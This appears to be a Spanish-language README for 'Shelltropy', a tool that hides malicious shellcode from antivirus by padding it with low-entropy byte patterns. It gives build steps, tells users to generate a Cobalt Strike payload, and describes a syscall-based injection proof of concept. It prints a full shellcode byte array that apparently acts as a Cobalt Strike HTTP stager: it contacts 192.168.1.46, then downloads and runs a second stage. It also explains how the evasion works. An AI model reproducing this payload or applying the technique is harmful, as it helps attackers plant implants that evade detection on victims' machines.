Shelltropy

Cuanto más predecible seas, menos serás detectado

Una técnica para ocultar shellcode malicioso basada en baja entropía mediante codificación Shannon.

La entropía es la medida de la aleatoriedad en un conjunto de datos (aquí: shellcode). Cuanto mayor es la entropía, más aleatorios son los datos. La entropía de Shannon es un algoritmo que produce un resultado entre 0 y 8, donde 8 significa que no hay patrón en los datos, por lo tanto son muy aleatorios y 0 significa que los datos siguen un patrón.

Nota: Consulta mi artículo de blog para obtener una explicación más detallada de mi investigación, así como un PoC simple de inyección de shellcode vanilla.

Configuración

Clona este repositorio:
git clone https://github.com/kleiton0x00/Shelltropy.git

Para el codificador:
Crea un nuevo proyecto de Visual Studio e importa tanto Entropy.h como shannonEncode.cpp y simplemente compílalo.

Para el PoC de inyección de shellcode (con Syscalls):
Abre el archivo de proyecto de Visual Studio ubicado en /Shelltropy/SyscallsExample/SyscallsExample/SyscallsExample.vcxproj y simplemente compílalo.
Nota: Si deseas un PoC simple de inyección de shellcode con WinAPI, consulta mi blog.

Para el decodificador (opcional ya que está incluido en el PoC de inyección de shellcode):
Crea un nuevo proyecto de Visual Studio e importa shannonDecode.cpp y simplemente compílalo.

Cómo usar

• Inicia Cobalt Strike y genera un Ejecutable de Windows (con o sin etapa, según prefieras). Asegúrate de que la salida sea Raw y guárdalo como payload.bin
  
• Ejecuta shellcodeFormatter.py y copia la salida

$ python3 shellcodeFormatter.py 
BYTE payload[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x75,0x72,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4f,0xff,0xff,0xff,0x5d,0x6a,0x00,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x49,0x89,0xe6,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x48,0x31,0xc9,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x41,0x50,0x41,0x50,0x41,0xba,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x73,0x5a,0x48,0x89,0xc1,0x41,0xb8,0xfb,0x20,0x00,0x00,0x4d,0x31,0xc9,0x41,0x51,0x41,0x51,0x6a,0x03,0x41,0x51,0x41,0xba,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x59,0x5b,0x48,0x89,0xc1,0x48,0x31,0xd2,0x49,0x89,0xd8,0x4d,0x31,0xc9,0x52,0x68,0x00,0x02,0x40,0x84,0x52,0x52,0x41,0xba,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x48,0x83,0xc3,0x50,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0xff,0xff,0xff,0xff,0x4d,0x31,0xc9,0x52,0x52,0x41,0xba,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x0f,0x85,0x9d,0x01,0x00,0x00,0x48,0xff,0xcf,0x0f,0x84,0x8c,0x01,0x00,0x00,0xeb,0xd3,0xe9,0xe4,0x01,0x00,0x00,0xe8,0xa2,0xff,0xff,0xff,0x2f,0x78,0x51,0x48,0x4c,0x00,0x30,0x96,0x54,0xc4,0x1f,0x1c,0xa8,0x3b,0xcb,0x64,0x4f,0xb0,0xb2,0x75,0x09,0x9f,0x7f,0x94,0x1c,0xf7,0x6a,0x53,0xc5,0x96,0xf3,0xea,0x28,0x51,0x8e,0x68,0x86,0xc4,0x4b,0x9a,0xb3,0xd6,0x54,0x82,0x22,0x90,0x89,0xbd,0x84,0xc4,0x73,0x97,0x2a,0xd9,0xbe,0x2d,0xd1,0x34,0xb9,0x18,0xb8,0x63,0xbc,0x52,0x14,0x3f,0x84,0x4e,0xeb,0xab,0x79,0x4a,0x89,0x42,0x26,0x8b,0xe7,0x12,0x48,0x00,0x55,0x73,0x65,0x72,0x2d,0x41,0x67,0x65,0x6e,0x74,0x3a,0x20,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x63,0x6f,0x6d,0x70,0x61,0x74,0x69,0x62,0x6c,0x65,0x3b,0x20,0x4d,0x53,0x49,0x45,0x20,0x31,0x30,0x2e,0x30,0x3b,0x20,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x36,0x2e,0x31,0x3b,0x20,0x57,0x4f,0x57,0x36,0x34,0x3b,0x20,0x54,0x72,0x69,0x64,0x65,0x6e,0x74,0x2f,0x36,0x2e,0x30,0x3b,0x20,0x4d,0x41,0x53,0x50,0x29,0x0d,0x0a,0x00,0xba,0xf1,0x47,0xbe,0x2f,0x60,0xce,0xf4,0x22,0xc0,0x41,0x82,0x1f,0xb8,0xdb,0xa9,0x01,0x08,0xe0,0xf6,0x87,0xf9,0x24,0x72,0x49,0x5b,0xf6,0xf8,0xa9,0xa1,0x08,0xc9,0x90,0xaa,0x2c,0x71,0x11,0x52,0x60,0x6a,0x94,0x86,0x80,0xc5,0xbe,0x16,0x3e,0x8d,0x15,0xc9,0xf5,0xae,0x9b,0x5d,0x77,0xc2,0x30,0x76,0x2a,0xbf,0x6a,0xc2,0xf6,0x2a,0x35,0xae,0x1d,0x4d,0xa6,0x62,0xe7,0x16,0x7a,0x25,0x05,0xc5,0x80,0x0e,0xf9,0x06,0x45,0x87,0x4d,0x52,0x20,0x5b,0x33,0xd3,0x6a,0x59,0x95,0xb7,0x56,0x1b,0xc5,0xbb,0x91,0xe3,0x97,0x82,0xd5,0xfc,0x6c,0x11,0x48,0x6a,0x64,0xf1,0xe6,0xc1,0xd4,0xef,0x75,0x74,0x20,0x58,0xfb,0x27,0x0b,0x5e,0x23,0x9a,0x87,0x86,0x1f,0x3f,0x34,0xdd,0x2c,0xfc,0x59,0x3b,0x51,0xcb,0x56,0x08,0x5d,0x85,0x5e,0x45,0x23,0x4d,0x99,0x8e,0x5f,0x8b,0x35,0x36,0x11,0xce,0x51,0x52,0x7b,0x48,0xda,0x77,0x1b,0x25,0xac,0xe5,0x05,0x9f,0x97,0x96,0xf2,0x2c,0x38,0x5a,0xcd,0x1f,0xbb,0x47,0x0e,0x55,0x60,0xab,0xe3,0x99,0x2f,0x7d,0x35,0xae,0xbc,0x68,0x69,0x5e,0x6b,0xde,0x0e,0xc0,0x6c,0x80,0x9a,0x5a,0xb4,0xfb,0x25,0xb4,0x54,0xa2,0xad,0xc3,0x19,0xf3,0x92,0x48,0xe6,0xb4,0x1d,0xac,0x89,0x00,0x41,0xbe,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x31,0xc9,0xba,0x00,0x00,0x40,0x00,0x41,0xb8,0x00,0x10,0x00,0x00,0x41,0xb9,0x40,0x00,0x00,0x00,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x41,0xb8,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x41,0xba,0x12,0x96,0x89,0xe2,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb6,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd7,0x58,0x58,0x58,0x48,0x05,0x00,0x00,0x00,0x00,0x50,0xc3,0xe8,0x9f,0xfd,0xff,0xff,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x2e,0x34,0x36,0x00,0x5e,0x2e,0x78,0x90};

• Reemplaza el Shellcode en shannonEncoder.cpp (línea 10) con el shellcode que generaste desde el archivo python.
• Puedes usar el shellcode de baja entropía generado en el proyecto de Visual Studio /Shelltropy/SyscallsExample/SyscallsExample/SyscallsExample.vcxproj

Cómo funciona el PoC

El concepto es dividir el array en fragmentos e insertar un patrón de bytes de baja entropía entre cada fragmento. Cuando se ejecuta la muestra, debemos reconstruir el payload original en memoria, evitando la detección estática del código de alta entropía en esta etapa. También vale la pena señalar que el código de baja entropía que se inserta puede seguir una variedad de patrones, y la cantidad de inserciones puede variar, por lo tanto, se puede utilizar para eludir la detección de firmas estáticas. El segundo paso es combinar los fragmentos de bytes de alta entropía con los fragmentos de baja entropía. Debido a que, después de todo, necesitamos restaurar el código ofuscado a su estado original para proceder al paso de desofuscación, la tercera tarea restaurará el array original de bytes eliminando los patrones de baja entropía.

Demo